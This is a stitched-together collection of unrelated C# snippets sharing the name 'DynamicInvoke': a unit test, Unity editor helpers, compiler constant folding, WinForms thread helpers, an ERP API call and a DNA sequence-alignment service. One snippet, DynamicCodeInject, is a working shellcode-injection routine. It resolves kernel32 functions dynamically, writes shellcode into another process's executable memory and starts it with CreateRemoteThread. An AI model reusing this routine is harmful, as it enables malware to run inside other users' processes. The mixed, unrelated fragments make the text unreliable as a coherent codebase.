public void InvokeTest() { var invoker = new DynamicInvoke(); Assert.AreEqual("Hello", invoker.Invoke()); Assert.AreEqual("World", invoker.InvokeMyMethod()); }
// ---------------------------------------------------------------------- /// Adds an iCS Library component on the givne GameObject. /// @param go The GameObject on which to add a new iCS library. public static iCS_LibraryImp AddLibrary(GameObject go) { if (myAddLibraryFnc == null) { myAddLibraryFnc = new DynamicInvoke("iCanScript.Internal.Editor.DynamicInterface", "AddLibrary"); } return(myAddLibraryFnc.Invoke(null, go) as iCS_LibraryImp); }
// ---------------------------------------------------------------------- /// Adds a viusal script on the givne GameObject. /// @param go The GameObject on which to add a new viusal script. public static iCS_VisualScriptImp AddVisualScript(GameObject go) { if (myAddVisualScriptFnc == null) { myAddVisualScriptFnc = new DynamicInvoke("iCanScript.Internal.Editor.DynamicInterface", "AddVisualScript"); } return(myAddVisualScriptFnc.Invoke(null, go) as iCS_VisualScriptImp); }
public static void DynamicCodeInject(int pid, byte[] buf) { uint lpNumberOfBytesWritten = 0; uint lpThreadId = 0; var pointer = DynamicInvoke.GetLibraryAddress("kernel32.dll", "CloseHandle"); var closehandle = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DynamicInvoke.CloseHandle)) as DynamicInvoke.CloseHandle; try { pointer = DynamicInvoke.GetLibraryAddress("kernel32.dll", "OpenProcess"); var openProcess = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DynamicInvoke.OpenProcess)) as DynamicInvoke.OpenProcess; Console.WriteLine($"[+] Obtaining the handle for the process id {pid}."); IntPtr pHandle = openProcess((uint)ProcessAccessRights.All, false, (uint)pid); pointer = DynamicInvoke.GetLibraryAddress("kernel32.dll", "VirtualAllocEx"); var virtualAllocEx = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DynamicInvoke.VirtualAllocEx)) as DynamicInvoke.VirtualAllocEx; Console.WriteLine($"[+] Handle {pHandle} opened for the process id {pid}."); Console.WriteLine($"[+] Allocating memory to inject the shellcode."); IntPtr rMemAddress = virtualAllocEx(pHandle, IntPtr.Zero, (uint)buf.Length, (uint)MemAllocation.MEM_RESERVE | (uint)MemAllocation.MEM_COMMIT, (uint)MemProtect.PAGE_EXECUTE_READWRITE); pointer = DynamicInvoke.GetLibraryAddress("kernel32.dll", "WriteProcessMemory"); var writeProcessMemory = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DynamicInvoke.WriteProcessMemory)) as DynamicInvoke.WriteProcessMemory; Console.WriteLine($"[+] Memory for injecting shellcode allocated at 0x{rMemAddress}."); Console.WriteLine($"[+] Writing the shellcode at the allocated memory location."); if (writeProcessMemory(pHandle, rMemAddress, buf, (uint)buf.Length, ref lpNumberOfBytesWritten)) { Console.WriteLine($"[+] Shellcode written in the process memory."); Console.WriteLine($"[+] Creating remote thread to execute the shellcode."); pointer = DynamicInvoke.GetLibraryAddress("kernel32.dll", "CreateRemoteThread"); var createRemoteThread = Marshal.GetDelegateForFunctionPointer(pointer, typeof(DynamicInvoke.CreateRemoteThread)) as DynamicInvoke.CreateRemoteThread; IntPtr hRemoteThread = createRemoteThread(pHandle, IntPtr.Zero, 0, rMemAddress, IntPtr.Zero, 0, ref lpThreadId); Console.WriteLine($"[+] Sucessfully injected the shellcode into the memory of the process id {pid}."); closehandle(hRemoteThread); } else { Console.WriteLine($"[+] Failed to write the shellcode into the memory of the process id {pid}."); } closehandle(pHandle); } catch (Exception ex) { Console.WriteLine("[+] " + Marshal.GetExceptionCode()); Console.WriteLine(ex.Message); } }
static void Main() { var path = "Types+Types.People+Name"; var path2 = "Types+Types.People+CallMe"; var path3 = "Types+Types.People+NoReturn"; var instance1 = new DynamicInvoke(path); var instance2 = new DynamicInvoke(path, "Jill"); var instance3 = new DynamicInvoke(path2); var instance4 = new DynamicInvoke(path2, "Johnny"); var instance5 = new DynamicInvoke(path3); instance1.DynamicPropertySet("Tom"); sc.WriteLine(instance1.DynamicPropertyGet <string>()); sc.WriteLine(instance2.DynamicPropertyGet <string>()); sc.WriteLine(instance3.DynamicMethodInvoke <string>()); sc.WriteLine(instance4.DynamicMethodInvoke <string>("Timmy")); instance5.DynamicMethodInvoke <object>(); Console.Read(); }
/// <summary> /// 根据操作类型确定调用动态方法的名称 /// </summary> /// <param name="type"></param> /// <param name="operateType"></param> /// <returns></returns> public static string GetMethodName(Type type, SynOperationType operateType) { MethodInfo[] methods = DynamicInvoke.GetMethods(type); if (methods != null && methods.Length > 0) { foreach (var method in methods) { if (method != null) { if (method.Name.ToUpper().Contains(operateType.ToString().ToUpper())) { return(method.Name); } } } } return(null); }
public static BoundConstantExpression FoldConstantUnaryPrefixExpression( BindContext context, PrefixUnaryExpressionSyntax syntax, MethodSymbol unaryOperator, BoundExpression operand) { if (!operand.IsConstant) { return(null); } if (unaryOperator.IsOperator && unaryOperator.IsExtern) { object foldedValue; object operandValue = operand.ConstantValue.Value; switch (syntax.OperatorToken.Kind()) { case SyntaxKind.MinusToken: foldedValue = DynamicInvoke.UnaryNegate(operandValue); break; case SyntaxKind.ExclamationToken: foldedValue = DynamicInvoke.UnaryNot(operandValue); break; case SyntaxKind.TildeToken: foldedValue = DynamicInvoke.BitwiseNot(operandValue); break; default: return(null); } IConstantValue constantValue = (IConstantValue)Activator.CreateInstance(typeof(ConstantValue <>).MakeGenericType(foldedValue.GetType()), foldedValue); return(new BoundConstantExpression(constantValue, context.GetTypeSymbol(foldedValue.GetType()), syntax)); } return(null); }
public static object Invoke(Form a, Control b, dynamic c, InvokeProperty d, InvokeMethod f) { if (b.InvokeRequired) { DynamicInvoke e = new DynamicInvoke(Invoke); a.Invoke(e, new object[] { a, b, c, d, f }); return(null); } else if (f == InvokeMethod.SET) { b.GetType().GetProperty(d.ToString(), System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.Instance).SetValue(b, c, new object[] { }); return((bool)true); } else if (f == InvokeMethod.GET) { PropertyInfo ab = b.GetType().GetProperty(d.ToString()); dynamic asp = ab.GetValue(b, null); return((int)asp); } return((bool)true); }
//Invoke Methode public static object InvokeTreeNodes(Form a, TreeView b, TreeNode c, bool f) { if (b.InvokeRequired) { DynamicInvoke e = new DynamicInvoke(InvokeTreeNodes); a.Invoke(e, new object[] { a, b, c, f }); return(null); } else if (f == true) { b.Nodes.Add(c); //b.GetType().GetProperty("Nodes", System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.Instance).SetValue(b, c, new object[] { }); return((bool)true); } else if (f == false) { System.Reflection.PropertyInfo ab = b.GetType().GetProperty("Nodes"); dynamic asp = ab.GetValue(b, null); return((int)asp); } return((bool)true); }
/// <summary> /// K3WebApi接口 /// </summary> /// <param name="ctx"></param> /// <param name="dataType"></param> /// <param name="operateType"></param> /// <param name="formId"></param> /// <param name="numbers"></param> /// <param name="pkIds"></param> /// <param name="json"></param> /// <returns></returns> public static HttpResponseResult InvokeBatchOperate(Context ctx, SynchroDataType dataType, SynOperationType operateType, string formId, IEnumerable <string> numbers = null, IEnumerable <int> pkIds = null, string json = null) { HttpResponseResult response = default(HttpResponseResult); try { type = DynamicInvoke.GetType(DynamicInvoke.GetAssembly(Assembly.GetExecutingAssembly().Location), "Hands.K3.SCM.App.Synchro.Utils.K3WebApi.InvokeWebApi"); if (type != null) { response = DynamicInvoke.InvokeMethod <HttpResponseResult>(ctx, type, GetMethodName(type, operateType), GetAgrs(ctx, operateType, dataType, formId, json, numbers, pkIds)); if (response != null) { if (!string.IsNullOrEmpty(response.Message) && response.Message.Contains("Timeout 时间已到。在操作完成之前超时时间已过或服务器未响应。")) { LogUtils.WriteSynchroLog(ctx, dataType, "数据批量" + operateType + "过程中出现异常,异常信息:服务器没有响应!!!"); } } } else { response = new HttpResponseResult(); response.Success = false; response.Message = "反射获取程序集失败!"; LogUtils.WriteSynchroLog(ctx, dataType, "数据批量" + operateType + "过程中出现异常,异常信息:" + response.Message); return(response); } } catch (Exception ex) { LogUtils.WriteSynchroLog(ctx, dataType, "数据批量" + operateType + "过程中出现异常,异常信息:" + ex.Message + System.Environment.NewLine + ex.StackTrace); } return(response); }
public async Task <string> Align(string FirstSequence, string SecondSequence, string ScoringMatrixName, string Email) { if (string.IsNullOrWhiteSpace(FirstSequence) || string.IsNullOrWhiteSpace(SecondSequence)) { return("Sequence Can't be empty"); } if (FirstSequence.Length > 20000 || SecondSequence.Length > 20000) { return("Sequence length Can't be greater than 20K"); } if (!Regex.IsMatch(FirstSequence, @"^[a-zA-Z]+$") || !Regex.IsMatch(SecondSequence, @"^[a-zA-Z]+$")) { return("Sequence must contains only characters"); } IdentityUser MyUser = await UserManager.FindByEmailAsync(Email); if (MyUser == null) { return("You have to sign-up first to be able to use our alignmnet serive"); } AlignmentJob JobFound = Repo.AreExist(FirstSequence, SecondSequence); if (JobFound == null) { JobFound = new AlignmentJob() { AlignmentID = Guid.NewGuid().ToString(), Algorithm = "ParallelNeedlemanWunsch", ScoringMatrix = ScoringMatrixName.ToUpper(), FirstSequenceHash = Helper.SHA1HashStringForUTF8String(FirstSequence), SecondSequenceHash = Helper.SHA1HashStringForUTF8String(SecondSequence), FirstSequenceName = "Web Service Call", SecondSequenceName = "Web Service Call", GapOpenPenalty = -2, Gap = -8, GapExtensionPenalty = -2 }; SequenceAligner AlgorithmInstance = DynamicInvoke.GetAlgorithm(JobFound.Algorithm); ScoringMatrix ScoringMatrixInstance; try { ScoringMatrixInstance = DynamicInvoke.GetScoreMatrix(JobFound.ScoringMatrix); } catch { return("The Score Matrix Name is invalid."); } string AlignmentResult = string.Empty; float AlignmentScore = 0.0f; await Task.Run(() => { AlignedSequences Result = AlgorithmInstance.Align(FirstSequence, SecondSequence, ScoringMatrixInstance, -8); AlignmentResult = Result.StandardFormat(210); AlignmentScore = Result.AlignmentScore(ScoringMatrixInstance); }); JobFound.ByteText = Helper.GetText(AlignmentResult, AlignmentScore, JobFound.AlignmentID, "ParallelNeedlemanWunsch", ScoringMatrixName, -8, -2, -2); JobFound.UserFK = MyUser.Id; await Repo.AddAlignmentJobAsync(JobFound); return(Encoding.UTF8.GetString(JobFound.ByteText)); } else { return(Encoding.UTF8.GetString(JobFound.ByteText)); } }
public async Task <IActionResult> Align(SequenceViewModel Model, IFormFile FirstFile, IFormFile SecondFile) { if (!string.IsNullOrWhiteSpace(Model.FirstSequence)) { Model.FirstSequence = Model.FirstSequence.Trim().Replace(" ", string.Empty).ToUpper(); } if (!string.IsNullOrWhiteSpace(Model.SecondSequence)) { Model.SecondSequence = Model.SecondSequence.Trim().Replace(" ", string.Empty).ToUpper(); } if (string.IsNullOrWhiteSpace(Model.FirstSequence) && FirstFile != null) { if (FirstFile.ContentType == "text/plain") { string FirstSequence = (await Helper.ConvertFileByteToByteStringAsync(FirstFile)).Trim().Replace(" ", string.Empty).ToUpper(); if (FirstSequence.Length > 10000) { return(RedirectToAction("Grid", "Alignment")); } else if (FirstSequence.Length == 0) { return(View("Error", new ErrorViewModel { Message = "You Can't send a sequence of 0 Length", Solution = "You should send a sequence greater than 0 length" })); } else { Model.FirstSequence = FirstSequence; } } else { return(View("Error", new ErrorViewModel { Message = "You Can't upload a file of any type rather than txt file format", Solution = "You should upload a file of txt file format" })); } } if (string.IsNullOrWhiteSpace(Model.SecondSequence) && SecondFile != null) { if (SecondFile.ContentType == "text/plain") { string SecondSequence = (await Helper.ConvertFileByteToByteStringAsync(SecondFile)).Trim().Replace(" ", string.Empty).ToUpper(); if (SecondSequence.Length > 10000) { return(RedirectToAction("Grid", "Alignment")); } else if (SecondSequence.Length == 0) { return(View("Error", new ErrorViewModel { Message = "You Can't send a sequence of 0 Length", Solution = "You should send a sequence greater than 0 length" })); } else { Model.SecondSequence = SecondSequence; } } else { return(View("Error", new ErrorViewModel { Message = "You Can't upload a file of any type rather than txt file format", Solution = "You should upload a file of txt file format" })); } } if ((Model.FirstSequence == null && FirstFile == null) || (Model.SecondSequence == null && SecondFile == null)) { return(View("Error", new ErrorViewModel { Message = "You Can't enter an empty sequence", Solution = "You have to enter the sequence or either upload a file contains the sequence" })); } if (!Regex.IsMatch(Model.FirstSequence, @"^[a-zA-Z]+$") || !Regex.IsMatch(Model.SecondSequence, @"^[a-zA-Z]+$")) { return(View("Error", new ErrorViewModel { Message = "Your sequence must contains only characters", Solution = "Send sequence contains only characters" })); } AlignmentJob JobFound = Repo.AreExist(Model.FirstSequence, Model.SecondSequence, Model.ScoringMatrix, Model.Gap); if (JobFound == null) { JobFound = new AlignmentJob() { AlignmentID = Guid.NewGuid().ToString(), Algorithm = Model.Algorithm, ScoringMatrix = Model.ScoringMatrix, FirstSequenceHash = Helper.SHA1HashStringForUTF8String(Model.FirstSequence), SecondSequenceHash = Helper.SHA1HashStringForUTF8String(Model.SecondSequence), FirstSequenceName = Model.FirstSequenceName, SecondSequenceName = Model.SecomdSequenceName, GapOpenPenalty = Model.GapOpenPenalty, Gap = Model.Gap, GapExtensionPenalty = Model.GapExtensionPenalty, IsAlignmentCompleted = true, }; SequenceAligner AlgorithmInstance = DynamicInvoke.GetAlgorithm(Model.Algorithm); ScoringMatrix ScoringMatrixInstance = DynamicInvoke.GetScoreMatrix(Model.ScoringMatrix); string AlignmentResult = string.Empty; float AlignmentScore = 0.0f; AlignedSequences Result = AlgorithmInstance.Align(Model.FirstSequence, Model.SecondSequence, ScoringMatrixInstance, Model.Gap); AlignmentResult = Result.StandardFormat(210); AlignmentScore = Result.AlignmentScore(ScoringMatrixInstance); JobFound.ByteText = Helper.GetText(AlignmentResult, AlignmentScore, JobFound.AlignmentID, Model.Algorithm, Model.ScoringMatrix, Model.Gap, Model.GapOpenPenalty, Model.GapExtensionPenalty); JobFound.UserFK = UserManager.GetUserId(User); await Repo.AddAlignmentJobAsync(JobFound); if (Model.DownloadDirectly == 1) { return(File(JobFound.ByteText, "text/plain", $"{JobFound.AlignmentID}_Alignment_Result.txt")); } else { return(RedirectToAction("Display", "Profile", new { AlignmentID = JobFound.AlignmentID })); } } else { if (Model.DownloadDirectly == 1) { return(File(JobFound.ByteText, "text/plain", $"{JobFound.AlignmentID}_Alignment_Result.txt")); } else { return(RedirectToAction("Display", "Profile", new { AlignmentID = JobFound.AlignmentID })); } } }
public static BoundConstantExpression FoldConstantBinaryExpression( BindContext context, BinaryExpressionSyntax syntax, MethodSymbol binaryOperator, BoundExpression lhs, BoundExpression rhs) { // Value type + null comparison which will always be false for == and true for != // This folding is needed for null comparisons in generics to work as expected if ((lhs.ValueType.IsValueType && rhs.IsConstant && rhs.ConstantValue.Value == null) || (rhs.ValueType.IsValueType && lhs.IsConstant && lhs.ConstantValue.Value == null)) { if (syntax.OperatorToken.Kind() == SyntaxKind.EqualsEqualsToken) { return(new BoundConstantExpression(new ConstantValue <bool>(false), context.GetTypeSymbol(typeof(bool)), syntax)); } if (syntax.OperatorToken.Kind() == SyntaxKind.ExclamationEqualsToken) { return(new BoundConstantExpression(new ConstantValue <bool>(true), context.GetTypeSymbol(typeof(bool)), syntax)); } } if (!lhs.IsConstant || !rhs.IsConstant) { return(null); } if (binaryOperator == null || (binaryOperator.IsOperator && binaryOperator.IsExtern)) { object foldedValue; object lhsValue = lhs.ConstantValue.Value; object rhsValue = rhs.ConstantValue.Value; switch (syntax.OperatorToken.Kind()) { case SyntaxKind.PlusToken: foldedValue = DynamicInvoke.Add(lhsValue, rhsValue); break; case SyntaxKind.MinusToken: foldedValue = DynamicInvoke.Sub(lhsValue, rhsValue); break; case SyntaxKind.AsteriskToken: foldedValue = DynamicInvoke.Mul(lhsValue, rhsValue); break; case SyntaxKind.SlashToken: foldedValue = DynamicInvoke.Div(lhsValue, rhsValue); break; case SyntaxKind.PercentToken: foldedValue = DynamicInvoke.Mod(lhsValue, rhsValue); break; case SyntaxKind.LessThanLessThanToken: foldedValue = DynamicInvoke.LSh(lhsValue, rhsValue); break; case SyntaxKind.GreaterThanGreaterThanToken: foldedValue = DynamicInvoke.RSh(lhsValue, rhsValue); break; case SyntaxKind.CaretToken: foldedValue = DynamicInvoke.Xor(lhsValue, rhsValue); break; case SyntaxKind.AmpersandToken: case SyntaxKind.AmpersandAmpersandToken: // When we're dealing with constants short circuiting shouldn't matter foldedValue = DynamicInvoke.BitwiseAnd(lhsValue, rhsValue); break; case SyntaxKind.BarToken: case SyntaxKind.BarBarToken: foldedValue = DynamicInvoke.BitwiseOr(lhsValue, rhsValue); break; case SyntaxKind.GreaterThanToken: foldedValue = DynamicInvoke.GreaterThan(lhsValue, rhsValue); break; case SyntaxKind.GreaterThanEqualsToken: foldedValue = DynamicInvoke.GreaterThanOrEquals(lhsValue, rhsValue); break; case SyntaxKind.LessThanToken: foldedValue = DynamicInvoke.LessThan(lhsValue, rhsValue); break; case SyntaxKind.LessThanOrEqualExpression: foldedValue = DynamicInvoke.LessThanOrEquals(lhsValue, rhsValue); break; case SyntaxKind.EqualsEqualsToken: foldedValue = DynamicInvoke.Equal(lhsValue, rhsValue); break; case SyntaxKind.ExclamationEqualsToken: foldedValue = DynamicInvoke.NotEqual(lhsValue, rhsValue); break; default: return(null); } IConstantValue constantValue = (IConstantValue)Activator.CreateInstance(typeof(ConstantValue <>).MakeGenericType(foldedValue.GetType()), foldedValue); return(new BoundConstantExpression(constantValue, context.GetTypeSymbol(foldedValue.GetType()), syntax)); } return(null); }
public async Task FinalizeJobAsync(string AlignmentJobID, AlignedSequences AlignmentResult) { if (string.IsNullOrWhiteSpace(AlignmentJobID)) { throw new Exception("ID Can't be Empty string"); } if (AlignmentResult == null) { throw new Exception("Alignment Result Can't be null"); } AlignmentJob Seq = await db.AlignmentJobs.SingleOrDefaultAsync(Find => Find.AlignmentID == AlignmentJobID); if (Seq == null) { throw new Exception("Can't Find A Record In The Database With The Specified ID"); } Seq.ByteText = GetText(AlignmentResult.StandardFormat(), AlignmentResult.AlignmentScore(DynamicInvoke.GetScoreMatrix(Seq.ScoringMatrix), Seq.GapOpenPenalty, Seq.GapExtensionPenalty), Seq.AlignmentID, Seq.Algorithm, Seq.ScoringMatrix, Seq.Gap, Seq.GapOpenPenalty, Seq.GapExtensionPenalty); await Task.Run(() => db.AlignmentJobs.Update(Seq)); await db.SaveChangesAsync(); }